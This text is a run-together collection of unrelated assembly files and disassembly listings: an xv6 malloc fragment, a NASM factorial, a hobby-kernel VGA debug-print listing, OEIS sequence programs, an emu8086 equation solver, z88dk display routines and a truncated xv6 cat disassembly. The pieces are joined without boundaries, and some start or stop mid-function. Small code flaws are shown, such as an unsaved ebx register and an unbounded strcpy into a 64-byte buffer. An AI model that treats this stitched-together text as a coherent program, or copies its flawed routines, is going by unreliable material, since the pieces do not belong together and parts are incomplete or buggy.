89 50 04 mov %edx,0x4(%eax) } freep = prevp; 7e4: 8b 45 f0 mov -0x10(%ebp),%eax 7e7: a3 ac 0a 00 00 mov %eax,0xaac //printf(0, "\nMalloc Pointer Value = %p\n", p+1); return (void *)(p + 1); 7ec: 8b 45 f4 mov -0xc(%ebp),%eax 7ef: 83 c0 08 add $0x8,%eax 7f2: eb 3b jmp 82f <malloc+0xe1> } if (p == freep) 7f4: a1 ac 0a 00 00 mov 0xaac,%eax 7f9: 39 45 f4 cmp %eax,-0xc(%ebp) 7fc: 75 1e jne 81c <malloc+0xce> if ((p = morecore(nunits)) == 0) 7fe: 83 ec 0c sub $0xc,%esp 801: ff 75 ec pushl -0x14(%ebp) 804: e8 e5 fe ff ff call 6ee <morecore> 809: 83 c4 10 add $0x10,%esp 80c: 89 45 f4 mov %eax,-0xc(%ebp) 80f: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 813: 75 07 jne 81c <malloc+0xce> return 0; 815: b8 00 00 00 00 mov $0x0,%eax 81a: eb 13 jmp 82f <malloc+0xe1> nunits = (nbytes + sizeof(Header) - 1) / sizeof(Header) + 1; if ((prevp = freep) == 0) { base.s.ptr = freep = prevp = &base; base.s.size = 0; } for (p = prevp->s.ptr;; prevp = p, p = p->s.ptr) { 81c: 8b 45 f4 mov -0xc(%ebp),%eax 81f: 89 45 f0 mov %eax,-0x10(%ebp) 822: 8b 45 f4 mov -0xc(%ebp),%eax 825: 8b 00 mov (%eax),%eax 827: 89 45 f4 mov %eax,-0xc(%ebp) return (void *)(p + 1); } if (p == freep) if ((p = morecore(nunits)) == 0) return 0; } 82a: e9 6d ff ff ff jmp 79c <malloc+0x4e> } 82f: c9 leave 830: c3 ret
default rel bits 64 segment .data fmt db "%d", 0xd, 0xa, 0 segment .text global main global factorial extern _CRT_INIT extern ExitProcess extern printf factorial: push rbp mov rbp, rsp sub rsp, 32 test ecx, ecx ; n jz .zero mov ebx, 1 ; counter c mov eax, 1 ; result inc ecx .for_loop: cmp ebx, ecx je .end_loop mul ebx ; multiply ebx * eax and store in eax inc ebx ; ++c jmp .for_loop .zero: mov eax, 1 .end_loop: leave ret main: push rbp mov rbp, rsp sub rsp, 32 mov rcx, 5 call factorial lea rcx, [fmt] mov rdx, rax call printf xor rax, rax call ExitProcess
; Listing generated by Microsoft (R) Optimizing Compiler Version 14.00.50727.42 TITLE c:\Documents and Settings\Michael\Desktop\bte_lighter\Demos\Demo11\SysCore\Kernel\DebugDisplay.cpp .686P .XMM include listing.inc .model flat INCLUDELIB LIBCMT INCLUDELIB OLDNAMES PUBLIC ?tbuf@@3PADA ; tbuf PUBLIC ?video_memory@@3PAGA ; video_memory PUBLIC ?cursor_x@@3EA ; cursor_x PUBLIC ?cursor_y@@3EA ; cursor_y PUBLIC ?_color@@3EA ; _color PUBLIC ?bchars@@3PADA ; bchars _BSS SEGMENT ?tbuf@@3PADA DB 020H DUP (?) ; tbuf ?cursor_x@@3EA DB 01H DUP (?) ; cursor_x ALIGN 4 ?cursor_y@@3EA DB 01H DUP (?) ; cursor_y ALIGN 4 ?_color@@3EA DB 01H DUP (?) ; _color _BSS ENDS _DATA SEGMENT ?video_memory@@3PAGA DD 0b8000H ; video_memory ?bchars@@3PADA DB 030H ; bchars DB 031H DB 032H DB 033H DB 034H DB 035H DB 036H DB 037H DB 038H DB 039H DB 041H DB 042H DB 043H DB 044H DB 045H DB 046H _DATA ENDS PUBLIC ?DebugUpdateCur@@YAXHH@Z ; DebugUpdateCur ; Function compile flags: /Ogspy ; File c:\documents and settings\michael\desktop\bte_lighter\demos\demo11\syscore\kernel\debugdisplay.cpp ; COMDAT ?DebugUpdateCur@@YAXHH@Z _TEXT SEGMENT _x$ = 8 ; size = 4 _y$ = 12 ; size = 4 ?DebugUpdateCur@@YAXHH@Z PROC ; DebugUpdateCur, COMDAT ; 61 : ; 62 : // get location ; 63 : uint16_t cursorLocation = y * 80 + x; ; 64 : ; 65 : #if 0 ; 66 : // send location to vga controller to set cursor ; 67 : disable(); ; 68 : outportb(0x3D4, 14); ; 69 : outportb(0x3D5, cursorLocation >> 8); // Send the high byte. ; 70 : outportb(0x3D4, 15); ; 71 : outportb(0x3D5, cursorLocation); // Send the low byte. ; 72 : enable(); ; 73 : #endif ; 74 : ; 75 : } ret 0 ?DebugUpdateCur@@YAXHH@Z ENDP ; DebugUpdateCur _TEXT ENDS PUBLIC ?DebugPutc@@YAXE@Z ; DebugPutc ; Function compile flags: /Ogspy ; COMDAT ?DebugPutc@@YAXE@Z _TEXT SEGMENT _c$ = 8 ; size = 1 ?DebugPutc@@YAXE@Z PROC ; DebugPutc, COMDAT ; 79 : ; 80 : uint16_t attribute = _color << 8; xor eax, eax mov ah, BYTE PTR ?_color@@3EA ; _color movzx ecx, ax ; 81 : ; 82 : //! backspace character ; 83 : if (c == 0x08 && cursor_x) mov al, BYTE PTR _c$[esp-4] cmp al, 8 jne SHORT $LN10@DebugPutc cmp BYTE PTR ?cursor_x@@3EA, 0 ; cursor_x je SHORT $LN2@DebugPutc ; 84 : cursor_x--; dec BYTE PTR ?cursor_x@@3EA ; cursor_x jmp SHORT $LN2@DebugPutc $LN10@DebugPutc: ; 85 : ; 86 : //! tab character ; 87 : else if (c == 0x09) cmp al, 9 jne SHORT $LN8@DebugPutc ; 88 : cursor_x = (cursor_x+8) & ~(8-1); mov al, BYTE PTR ?cursor_x@@3EA ; cursor_x add al, 8 and al, 248 ; 000000f8H mov BYTE PTR ?cursor_x@@3EA, al ; cursor_x jmp SHORT $LN2@DebugPutc $LN8@DebugPutc: ; 89 : ; 90 : //! carriage return ; 91 : else if (c == '\r') cmp al, 13 ; 0000000dH ; 92 : cursor_x = 0; je SHORT $LN16@DebugPutc ; 93 : ; 94 : //! new line ; 95 : else if (c == '\n') { cmp al, 10 ; 0000000aH ; 96 : cursor_x = 0; ; 97 : cursor_y++; je SHORT $LN17@DebugPutc ; 98 : } ; 99 : ; 100 : //! printable characters ; 101 : else if(c >= ' ') { cmp al, 32 ; 00000020H jb SHORT $LN2@DebugPutc ; 102 : ; 103 : //! display character on screen ; 104 : uint16_t* location = video_memory + (cursor_y*80 + cursor_x); ; 105 : *location = c | attribute; movzx edx, BYTE PTR ?cursor_x@@3EA ; cursor_x movzx ax, al or ax, cx movzx ecx, BYTE PTR ?cursor_y@@3EA ; cursor_y imul ecx, 80 ; 00000050H add ecx, edx mov edx, DWORD PTR ?video_memory@@3PAGA ; video_memory mov WORD PTR [edx+ecx*2], ax ; 106 : cursor_x++; inc BYTE PTR ?cursor_x@@3EA ; cursor_x $LN2@DebugPutc: ; 107 : } ; 108 : ; 109 : //! if we are at edge of row, go to new line ; 110 : if (cursor_x >= 80) { cmp BYTE PTR ?cursor_x@@3EA, 80 ; cursor_x, 00000050H jb SHORT $LN1@DebugPutc $LN17@DebugPutc: ; 113 : cursor_y++; inc BYTE PTR ?cursor_y@@3EA ; cursor_y $LN16@DebugPutc: ; 111 : ; 112 : cursor_x = 0; mov BYTE PTR ?cursor_x@@3EA, 0 ; cursor_x $LN1@DebugPutc: ; 114 : } ; 115 : ; 116 : //! update hardware cursor ; 117 : DebugUpdateCur (cursor_x,cursor_y); ; 118 : } ret 0 ?DebugPutc@@YAXE@Z ENDP ; DebugPutc _TEXT ENDS PUBLIC ?itoa@@YAXIIPAD@Z ; itoa ; Function compile flags: /Ogspy ; COMDAT ?itoa@@YAXIIPAD@Z _TEXT SEGMENT _i$ = 8 ; size = 4 _base$ = 12 ; size = 4 _buf$ = 16 ; size = 4 ?itoa@@YAXIIPAD@Z PROC ; itoa, COMDAT ; 124 : void itoa(unsigned i,unsigned base,char* buf) { push ebp mov ebp, esp ; 125 : int pos = 0; ; 126 : int opos = 0; ; 127 : int top = 0; ; 128 : ; 129 : if (i == 0 || base > 16) { mov eax, DWORD PTR _i$[ebp] xor ecx, ecx test eax, eax je SHORT $LN6@itoa cmp DWORD PTR _base$[ebp], 16 ; 00000010H ja SHORT $LN6@itoa $LL5@itoa: ; 132 : return; ; 133 : } ; 134 : ; 135 : while (i != 0) { ; 136 : tbuf[pos] = bchars[i % base]; xor edx, edx div DWORD PTR _base$[ebp] ; 137 : pos++; inc ecx test eax, eax mov dl, BYTE PTR ?bchars@@3PADA[edx] mov BYTE PTR ?tbuf@@3PADA[ecx-1], dl jne SHORT $LL5@itoa push esi ; 141 : for (opos=0; opos<top; pos--,opos++) { mov esi, DWORD PTR _buf$[ebp] push edi mov edi, ecx dec ecx test edi, edi jle SHORT $LN1@itoa ; 138 : i /= base; ; 139 : } ; 140 : top=pos--; lea ecx, DWORD PTR ?tbuf@@3PADA[ecx] $LL3@itoa: ; 142 : buf[opos] = tbuf[pos]; mov dl, BYTE PTR [ecx] dec ecx mov BYTE PTR [eax+esi], dl inc eax cmp eax, edi jl SHORT $LL3@itoa $LN1@itoa: pop edi ; 143 : } ; 144 : buf[opos] = 0; mov BYTE PTR [eax+esi], 0 pop esi ; 145 : } pop ebp ret 0 $LN6@itoa: ; 130 : buf[0] = '0'; mov eax, DWORD PTR _buf$[ebp] mov BYTE PTR [eax], 48 ; 00000030H ; 131 : buf[1] = '\0'; mov BYTE PTR [eax+1], cl ; 145 : } pop ebp ret 0 ?itoa@@YAXIIPAD@Z ENDP ; itoa _TEXT ENDS PUBLIC ?itoa_s@@YAXHIPAD@Z ; itoa_s ; Function compile flags: /Ogspy ; COMDAT ?itoa_s@@YAXHIPAD@Z _TEXT SEGMENT _i$ = 8 ; size = 4 _base$ = 12 ; size = 4 _buf$ = 16 ; size = 4 ?itoa_s@@YAXHIPAD@Z PROC ; itoa_s, COMDAT ; 147 : void itoa_s(int i,unsigned base,char* buf) { push ebp mov ebp, esp ; 148 : if (base > 16) return; cmp DWORD PTR _base$[ebp], 16 ; 00000010H ja SHORT $LN3@itoa_s ; 149 : if (i < 0) { cmp DWORD PTR _i$[ebp], 0 jge SHORT $LN1@itoa_s ; 150 : *buf++ = '-'; mov eax, DWORD PTR _buf$[ebp] inc DWORD PTR _buf$[ebp] ; 151 : i *= -1; neg DWORD PTR _i$[ebp] mov BYTE PTR [eax], 45 ; 0000002dH $LN1@itoa_s: ; 154 : } pop ebp ; 152 : } ; 153 : itoa(i,base,buf); jmp ?itoa@@YAXIIPAD@Z ; itoa $LN3@itoa_s: ; 154 : } pop ebp ret 0 ?itoa_s@@YAXHIPAD@Z ENDP ; itoa_s _TEXT ENDS PUBLIC ?DebugSetColor@@YAII@Z ; DebugSetColor ; Function compile flags: /Ogspy ; COMDAT ?DebugSetColor@@YAII@Z _TEXT SEGMENT _c$ = 8 ; size = 4 ?DebugSetColor@@YAII@Z PROC ; DebugSetColor, COMDAT ; 191 : ; 192 : unsigned t=_color; ; 193 : _color=c; mov cl, BYTE PTR _c$[esp-4] movzx eax, BYTE PTR ?_color@@3EA ; _color mov BYTE PTR ?_color@@3EA, cl ; _color ; 194 : return t; ; 195 : } ret 0 ?DebugSetColor@@YAII@Z ENDP ; DebugSetColor _TEXT ENDS PUBLIC ?DebugGotoXY@@YAXII@Z ; DebugGotoXY ; Function compile flags: /Ogspy ; COMDAT ?DebugGotoXY@@YAXII@Z _TEXT SEGMENT _x$ = 8 ; size = 4 _y$ = 12 ; size = 4 ?DebugGotoXY@@YAXII@Z PROC ; DebugGotoXY, COMDAT ; 199 : ; 200 : if (cursor_x <= 80) cmp BYTE PTR ?cursor_x@@3EA, 80 ; cursor_x, 00000050H ja SHORT $LN2@DebugGotoX ; 201 : cursor_x = x; mov al, BYTE PTR _x$[esp-4] mov BYTE PTR ?cursor_x@@3EA, al ; cursor_x $LN2@DebugGotoX: ; 202 : ; 203 : if (cursor_y <= 25) cmp BYTE PTR ?cursor_y@@3EA, 25 ; cursor_y, 00000019H ja SHORT $LN1@DebugGotoX ; 204 : cursor_y = y; mov al, BYTE PTR _y$[esp-4] mov BYTE PTR ?cursor_y@@3EA, al ; cursor_y $LN1@DebugGotoX: ; 205 : ; 206 : //! update hardware cursor to new position ; 207 : DebugUpdateCur (cursor_x, cursor_y); ; 208 : } ret 0 ?DebugGotoXY@@YAXII@Z ENDP ; DebugGotoXY _TEXT ENDS PUBLIC ?DebugClrScr@@YAXE@Z ; DebugClrScr ; Function compile flags: /Ogspy ; COMDAT ?DebugClrScr@@YAXE@Z _TEXT SEGMENT _c$ = 8 ; size = 1 ?DebugClrScr@@YAXE@Z PROC ; DebugClrScr, COMDAT ; 212 : ; 213 : //! clear video memory by writing space characters to it ; 214 : for (int i = 0; i < 80*25; i++) xor ecx, ecx mov ch, BYTE PTR _c$[esp-4] or ecx, 32 ; 00000020H xor eax, eax $LL3@DebugClrSc: ; 215 : video_memory[i] = ' ' | (c << 8); mov edx, DWORD PTR ?video_memory@@3PAGA ; video_memory mov WORD PTR [eax+edx], cx inc eax inc eax cmp eax, 4000 ; 00000fa0H jl SHORT $LL3@DebugClrSc ; 216 : ; 217 : //! move position back to start ; 218 : DebugGotoXY (0,0); push 0 push 0 call ?DebugGotoXY@@YAXII@Z ; DebugGotoXY pop ecx pop ecx ; 219 : } ret 0 ?DebugClrScr@@YAXE@Z ENDP ; DebugClrScr _TEXT ENDS PUBLIC ?DebugPuts@@YAXPAD@Z ; DebugPuts EXTRN ?strlen@@YAIPBD@Z:PROC ; strlen ; Function compile flags: /Ogspy ; COMDAT ?DebugPuts@@YAXPAD@Z _TEXT SEGMENT _str$ = 8 ; size = 4 ?DebugPuts@@YAXPAD@Z PROC ; DebugPuts, COMDAT ; 222 : void DebugPuts (char* str) { push edi ; 223 : ; 224 : if (!str) mov edi, DWORD PTR _str$[esp] test edi, edi je SHORT $LN1@DebugPuts push esi ; 225 : return; ; 226 : ; 227 : //! err... displays a string ; 228 : for (unsigned int i=0; i<strlen(str); i++) push edi xor esi, esi call ?strlen@@YAIPBD@Z ; strlen test eax, eax pop ecx jbe SHORT $LN9@DebugPuts $LL3@DebugPuts: ; 229 : DebugPutc (str[i]); movzx eax, BYTE PTR [esi+edi] push eax call ?DebugPutc@@YAXE@Z ; DebugPutc push edi inc esi call ?strlen@@YAIPBD@Z ; strlen cmp esi, eax pop ecx pop ecx jb SHORT $LL3@DebugPuts $LN9@DebugPuts: pop esi $LN1@DebugPuts: pop edi ; 230 : } ret 0 ?DebugPuts@@YAXPAD@Z ENDP ; DebugPuts _TEXT ENDS PUBLIC ?DebugPrintf@@YAHPBDZZ ; DebugPrintf EXTRN ?strcpy@@YAPADPADPBD@Z:PROC ; strcpy ; Function compile flags: /Ogspy ; COMDAT ?DebugPrintf@@YAHPBDZZ _TEXT SEGMENT _str$2730 = -64 ; size = 64 _str$2751 = -32 ; size = 32 _str$2741 = -32 ; size = 32 _str$ = 8 ; size = 4 ?DebugPrintf@@YAHPBDZZ PROC ; DebugPrintf, COMDAT ; 233 : int DebugPrintf (const char* str, ...) { push ebp mov ebp, esp sub esp, 64 ; 00000040H push edi ; 234 : ; 235 : if(!str) mov edi, DWORD PTR _str$[ebp] test edi, edi jne SHORT $LN15@DebugPrint ; 236 : return 0; xor eax, eax jmp $LN16@DebugPrint $LN15@DebugPrint: push ebx push esi ; 240 : size_t i; ; 241 : for (i=0; i<strlen(str);i++) { push edi xor ebx, ebx call ?strlen@@YAIPBD@Z ; strlen test eax, eax pop ecx jbe SHORT $LN12@DebugPrint ; 237 : ; 238 : va_list args; ; 239 : va_start (args, str); lea esi, DWORD PTR _str$[ebp] $LL14@DebugPrint: ; 242 : ; 243 : switch (str[i]) { movzx eax, BYTE PTR [ebx+edi] cmp al, 37 ; 00000025H je SHORT $LN9@DebugPrint ; 292 : } ; 293 : ; 294 : break; ; 295 : ; 296 : default: ; 297 : DebugPutc (str[i]); push eax call ?DebugPutc@@YAXE@Z ; DebugPutc pop ecx ; 298 : break; jmp SHORT $LN13@DebugPrint $LN9@DebugPrint: ; 244 : ; 245 : case '%': ; 246 : ; 247 : switch (str[i+1]) { movsx eax, BYTE PTR [ebx+edi+1] sub eax, 88 ; 00000058H je SHORT $LN3@DebugPrint sub eax, 11 ; 0000000bH je $LN6@DebugPrint dec eax je SHORT $LN4@DebugPrint sub eax, 5 je SHORT $LN4@DebugPrint sub eax, 10 ; 0000000aH je SHORT $LN5@DebugPrint sub eax, 5 jne $LN2@DebugPrint $LN3@DebugPrint: ; 276 : } ; 277 : ; 278 : /*** display in hex ***/ ; 279 : case 'X': ; 280 : case 'x': { ; 281 : int c = va_arg (args, int); ; 282 : char str[32]={0}; push 7 pop ecx xor eax, eax mov BYTE PTR _str$2751[ebp], 0 lea edi, DWORD PTR _str$2751[ebp+1] rep stosd stosw stosb ; 283 : itoa_s (c,16,str); lea eax, DWORD PTR _str$2751[ebp] push eax push 16 ; 00000010H $LN25@DebugPrint: add esi, 4 push DWORD PTR [esi] call ?itoa_s@@YAXHIPAD@Z ; itoa_s ; 284 : DebugPuts (str); lea eax, DWORD PTR _str$2751[ebp] push eax call ?DebugPuts@@YAXPAD@Z ; DebugPuts add esp, 16 ; 00000010H $LN24@DebugPrint: ; 285 : i++; // go to next character inc ebx $LN13@DebugPrint: ; 240 : size_t i; ; 241 : for (i=0; i<strlen(str);i++) { mov edi, DWORD PTR _str$[ebp] push edi inc ebx call ?strlen@@YAIPBD@Z ; strlen cmp ebx, eax pop ecx jb SHORT $LL14@DebugPrint $LN12@DebugPrint: ; 299 : } ; 300 : ; 301 : } ; 302 : ; 303 : va_end (args); ; 304 : return i; mov eax, ebx $LN22@DebugPrint: pop esi pop ebx $LN16@DebugPrint: pop edi ; 305 : } leave ret 0 $LN5@DebugPrint: ; 255 : } ; 256 : ; 257 : /*** address of ***/ ; 258 : case 's': { ; 259 : int c = (int&) va_arg (args, char); add esi, 4 ; 260 : char str[64]; ; 261 : strcpy (str,(const char*)c); push DWORD PTR [esi] lea eax, DWORD PTR _str$2730[ebp] push eax call ?strcpy@@YAPADPADPBD@Z ; strcpy ; 262 : DebugPuts (str); lea eax, DWORD PTR _str$2730[ebp] push eax call ?DebugPuts@@YAXPAD@Z ; DebugPuts add esp, 12 ; 0000000cH ; 263 : i++; // go to next character ; 264 : break; jmp SHORT $LN24@DebugPrint $LN4@DebugPrint: ; 265 : } ; 266 : ; 267 : /*** integers ***/ ; 268 : case 'd': ; 269 : case 'i': { ; 270 : int c = va_arg (args, int); ; 271 : char str[32]={0}; push 7 pop ecx xor eax, eax mov BYTE PTR _str$2741[ebp], 0 lea edi, DWORD PTR _str$2741[ebp+1] rep stosd stosw stosb ; 272 : itoa_s (c, 10, str); lea eax, DWORD PTR _str$2741[ebp] push eax push 10 ; 0000000aH ; 273 : DebugPuts (str); ; 274 : i++; // go to next character ; 275 : break; jmp SHORT $LN25@DebugPrint $LN6@DebugPrint: ; 248 : ; 249 : /*** characters ***/ ; 250 : case 'c': { ; 251 : char c = va_arg (args, char); add esi, 4 ; 252 : DebugPutc (c); movzx eax, BYTE PTR [esi] push eax call ?DebugPutc@@YAXE@Z ; DebugPutc pop ecx ; 253 : i++; // go to next character ; 254 : break; jmp SHORT $LN24@DebugPrint $LN2@DebugPrint: ; 286 : break; ; 287 : } ; 288 : ; 289 : default: ; 290 : va_end (args); ; 291 : return 1; xor eax, eax inc eax jmp SHORT $LN22@DebugPrint ?DebugPrintf@@YAHPBDZZ ENDP ; DebugPrintf _TEXT ENDS END
; A003451: Number of nonequivalent dissections of an n-gon into 3 polygons by nonintersecting diagonals up to rotation. ; 1,4,8,16,25,40,56,80,105,140,176,224,273,336,400,480,561,660,760,880,1001,1144,1288,1456,1625,1820,2016,2240,2465,2720,2976,3264,3553,3876,4200,4560,4921,5320,5720,6160,6601,7084,7568,8096,8625,9200,9776,10400 mov $1,$0 add $0,1 mov $2,$1 mov $3,2 lpb $0 sub $0,1 add $2,$1 sub $2,$0 add $3,1 add $3,$2 trn $2,$0 sub $3,1 add $3,$2 lpe sub $3,$1 sub $3,1 add $1,$3
; calculate equation with high precision without math coprocessor ; this program calculates linear equation: ax + b = 0 ; the result is printed with floating point. ; for example: a = 7, b = 2 ; x = -0.28571428.... name "float" precision = 30 ; max digits after the dot. dseg segment 'data' cr equ 0Dh lf equ 0Ah new_line equ 0Dh,0Ah, '$' mess0 db 'calculation of ax + b = 0', new_line mess1 db 'enter a (-32768..32767)!', new_line mess2 db lf, cr, 'enter b (-32768..32767)!', new_line mess3 db cr, lf, cr, lf, 'data:', '$' mess4 db cr, lf, ' a = ', '$' mess5 db cr, lf, ' b = ', '$' mess6 db cr, lf, 'result: ', cr, lf, ' x = ', '$' mess7 db cr, lf, cr, lf, 'no solution!', new_line mess8 db cr, lf, cr, lf, 'infinite number of solutions!', new_line error db cr, lf, 'the number is out of range!', new_line twice_nl db new_line, new_line make_minus db ? ; used as a flag in procedures. a dw ? b dw ? ten dw 10 ; used as multiplier. four dw 4 ; used as divider. dseg ends sseg segment stack 'stack' dw 100h dup(?) sseg ends cseg segment 'code' ;******************************************************************* start proc far ; store return address to os: push ds xor ax, ax push ax ; set segment registers: mov ax, dseg mov ds, ax mov es, ax ; welcome message: lea dx, mess0 call puts ; display the message. ; ask for 'a' : lea dx, mess1 call puts ; display the message. call scan_num ; input the number into cx. mov a, cx ; ask for 'b' : lea dx, mess2 call puts ; display the message. call scan_num ; input the number into cx. mov b, cx ; print the data: lea dx, mess3 call puts lea dx, mess4 call puts mov ax, a call print_num ; print ax. lea dx, mess5 call puts mov ax, b call print_num ; print ax. ; check data: cmp a, 0 jne soluble ; jumps when a<>0. cmp b, 0 jne no_solution ; jumps when a=0 and b<>0. jmp infinite ; jumps when a=0 and b=0. soluble: ; calculate the solution: ; ax + b = 0 -> ax = -b -> x = -b/a neg b mov ax, b xor dx, dx ; check the sign, make dx:ax negative if ax is negative: cmp ax, 0 jns not_singned not dx not_singned: mov bx, a ; divider is in bx. ; '-b' is in dx:ax. ; 'a' is in bx. idiv bx ; ax = dx:ax / bx (dx - remainder). ; 'x' is in ax. ; remainder is in dx. push dx ; store the remainder. lea dx, mess6 call puts pop dx ; print 'x' as float: ; ax - whole part ; dx - remainder ; bx - divider call print_float jmp end_prog no_solution: lea dx, mess7 call puts jmp end_prog infinite: lea dx, mess8 call puts end_prog: lea dx, twice_nl call puts ; wait for any key.... mov ah, 0 int 16h ret start endp ;*************************************************************** ; prints number in ax and it's fraction in dx. ; used to print remainder of 'div/idiv bx'. ; ax - whole part. ; dx - remainder. ; bx - the divider that was used to get the remainder from divident. print_float proc near push cx push dx ; because the remainder takes the sign of divident ; its sign should be inverted when divider is negative ; (-) / (-) = (+) ; (+) / (-) = (-) cmp bx, 0 jns div_not_signed neg dx ; make remainder positive. div_not_signed: ; print_num procedure does not print the '-' ; when the whole part is '0' (even if the remainder is ; negative) this code fixes it: cmp ax, 0 jne checked ; ax<>0 cmp dx, 0 jns checked ; ax=0 and dx>=0 push dx mov dl, '-' call write_char ; print '-' pop dx checked: ; print whole part: call print_num ; if remainder=0, then no need to print it: cmp dx, 0 je done push dx ; print dot after the number: mov dl, '.' call write_char pop dx ; print digits after the dot: mov cx, precision call print_fraction done: pop dx pop cx ret print_float endp ;*************************************************************** ; prints dx as fraction of division by bx. ; dx - remainder. ; bx - divider. ; cx - maximum number of digits after the dot. print_fraction proc near push ax push dx next_fraction: ; check if all digits are already printed: cmp cx, 0 jz end_rem dec cx ; decrease digit counter. ; when remainder is '0' no need to continue: cmp dx, 0 je end_rem mov ax, dx xor dx, dx cmp ax, 0 jns not_sig1 not dx not_sig1: imul ten ; dx:ax = ax * 10 idiv bx ; ax = dx:ax / bx (dx - remainder) push dx ; store remainder. mov dx, ax cmp dx, 0 jns not_sig2 neg dx not_sig2: add dl, 30h ; convert to ascii code. call write_char ; print dl. pop dx jmp next_fraction end_rem: pop dx pop ax ret print_fraction endp ;*************************************************************** ; this procedure prints number in ax, ; used with print_numx to print "0" and sign. ; this procedure also stores the original ax, ; that is modified by print_numx. print_num proc near push dx push ax cmp ax, 0 jnz not_zero mov dl, '0' call write_char jmp printed not_zero: ; the check sign of ax, ; make absolute if it's negative: cmp ax, 0 jns positive neg ax mov dl, '-' call write_char positive: call print_numx printed: pop ax pop dx ret print_num endp ;*************************************************************** ; prints out a number in ax (not just a single digit) ; allowed values from 1 to 65535 (ffff) ; (result of /10000 should be the left digit or "0"). ; modifies ax (after the procedure ax=0) print_numx proc near push bx push cx push dx ; flag to prevent printing zeros before number: mov cx, 1 mov bx, 10000 ; 2710h - divider. ; check if ax is zero, if zero go to end_show cmp ax, 0 jz end_show begin_print: ; check divider (if zero go to end_show): cmp bx,0 jz end_show ; avoid printing zeros before number: cmp cx, 0 je calc ; if ax<bx then result of div will be zero: cmp ax, bx jb skip calc: xor cx, cx ; set flag. xor dx, dx div bx ; ax = dx:ax / bx (dx=remainder). ; print last digit ; ah is always zero, so it's ignored push dx mov dl, al add dl, 30h ; convert to ascii code. call write_char pop dx mov ax, dx ; get remainder from last div. skip: ; calculate bx=bx/10 push ax xor dx, dx mov ax, bx div ten ; ax = dx:ax / 10 (dx=remainder). mov bx, ax pop ax jmp begin_print end_show: pop dx pop cx pop bx ret print_numx endp ;*************************************************************** ; displays the message (dx-address) puts proc near push ax mov ah, 09h int 21h pop ax ret puts endp ;******************************************************************* ; reads char from the keyboard into al ; (modifies ax!!!) read_char proc near mov ah, 01h int 21h ret read_char endp ;*************************************************************** ; gets the multi-digit signed number from the keyboard, ; result is stored in cx. backspace is not supported, for backspace ; enabled input function see c:\emu8086\inc\emu8086.inc scan_num proc near push dx push ax xor cx, cx ; reset flag: mov make_minus, 0 next_digit: call read_char ; check for minus: cmp al, '-' je set_minus ; check for enter key: cmp al, cr je stop_input ; multiply cx by 10 (first time the result is zero) push ax mov ax, cx mul ten ; dx:ax = ax*10 mov cx, ax pop ax ; check if the number is too big ; (result should be 16 bits) cmp dx, 0 jne out_of_range ; convert from ascii code: sub al, 30h ; add al to cx: xor ah, ah add cx, ax jc out_of_range ; jump if the number is too big. jmp next_digit set_minus: mov make_minus, 1 jmp next_digit out_of_range: lea dx, error call puts stop_input: ; check flag: cmp make_minus, 0 je not_minus neg cx not_minus: pop ax pop dx ret scan_num endp ;*************************************************************** ; prints out single char (ascii code should be in dl) write_char proc near push ax mov ah, 02h int 21h pop ax ret write_char endp ;*************************************************************** cseg ends end start
; A138885: n-th run has length n-th nonprime number, with digits 0 and 1 only, starting with 1. ; 1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 mul $0,2 mov $2,$0 lpb $2 sub $2,9 trn $2,$1 add $1,3 lpe gcd $1,2 sub $1,1 mov $0,$1
; A221366: The simple continued fraction expansion of F(x) := product {n = 0..inf} (1 - x^(4*n+3))/(1 - x^(4*n+1)) when x = 1/2*(7 - 3*sqrt(5)). ; 1,5,1,45,1,320,1,2205,1,15125,1,103680,1,710645,1,4870845,1,33385280,1,228826125,1,1568397605,1,10749957120,1,73681302245,1,505019158605,1,3461452808000,1,23725150497405,1 lpb $0 div $0,2 mov $1,$0 mul $0,2 seq $1,81078 ; a(n) = Lucas(4n) - 3, or Lucas(2n-1)*Lucas(2n+1). lpe add $1,1 mov $0,$1
; =============================================================== ; Jun 2007 ; =============================================================== ; ; void *zx_aaddrcright(void *attraddr) ; ; Modify attribute address to move right one character square. ; Movement wraps from column 31 to column 0 of next row. ; ; =============================================================== SECTION code_clib SECTION code_arch PUBLIC asm_zx_aaddrcright asm_zx_aaddrcright: ; enter : hl = valid attribute address ; ; exit : hl = new attribute address moved right one char square ; carry set if new attribute address is off screen ; ; uses : af, hl inc hl ld a,$5a cp h ret
; ; ANSI Video handling for the TI calculators ; By Stefano Bodrato - Dec. 2000 ; ; Clean a text line ; ; in: A = text row number ; ; ; $Id: f_ansi_dline.asm,v 1.5 2015/01/19 01:33:19 pauloscustodio Exp $ ; INCLUDE "stdio/ansi/ticalc/ticalc.inc" PUBLIC ansi_del_line EXTERN base_graphics EXTERN cpygraph .ansi_del_line ld de,row_bytes*8 ld b,a ld hl,(base_graphics) and a jr z,zline .lloop add hl,de djnz lloop .zline ld d,h ld e,l inc de ld (hl),0 ld bc,row_bytes*8 ldir jp cpygraph ; Copy GRAPH_MEM to LCD, then return
_cat: formato de ficheiro elf32-i386 Desmontagem da secção .text: 00000000 <cat>: char buf[512]; void cat(int fd) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 ec 18 sub $0x18,%esp int n; while((n = read(fd, buf, sizeof(buf))) > 0) 6: eb 15 jmp 1d <cat+0x1d> write(1, buf, n); 8: 83 ec 04 sub $0x4,%esp b: ff 75 f4 pushl -0xc(%ebp) e: 68 60 0b 00 00 push $0xb60 13: 6a 01 push $0x1 15: e8 6c 03 00 00 call 386 <write> 1a: 83 c4 10 add $0x10,%esp while((n = read(fd, buf, sizeof(buf))) > 0) 1d: 83 ec 04 sub $0x4,%esp 20: 68 00 02 00 00 push $0x200 25: 68 60 0b 00 00 push $0xb60 2a: ff 75 08 pushl 0x8(%ebp) 2d: e8 4c 03 00 00 call 37e <read> 32: 83 c4 10 add $0x10,%esp 35: 89 45 f4 mov %eax,-0xc(%ebp) 38: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 3c: 7f ca jg 8 <cat+0x8> if(n < 0){ 3e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 42: 79 17 jns 5b <cat+0x5b> printf(1, "cat: read error\n"); 44: 83 ec 08 sub $0x8,%esp 47: 68 8f 08 00 00 push $0x88f 4c: 6a 01 push $0x1 4e: e8 86 04 00 00 call 4d9 <printf> 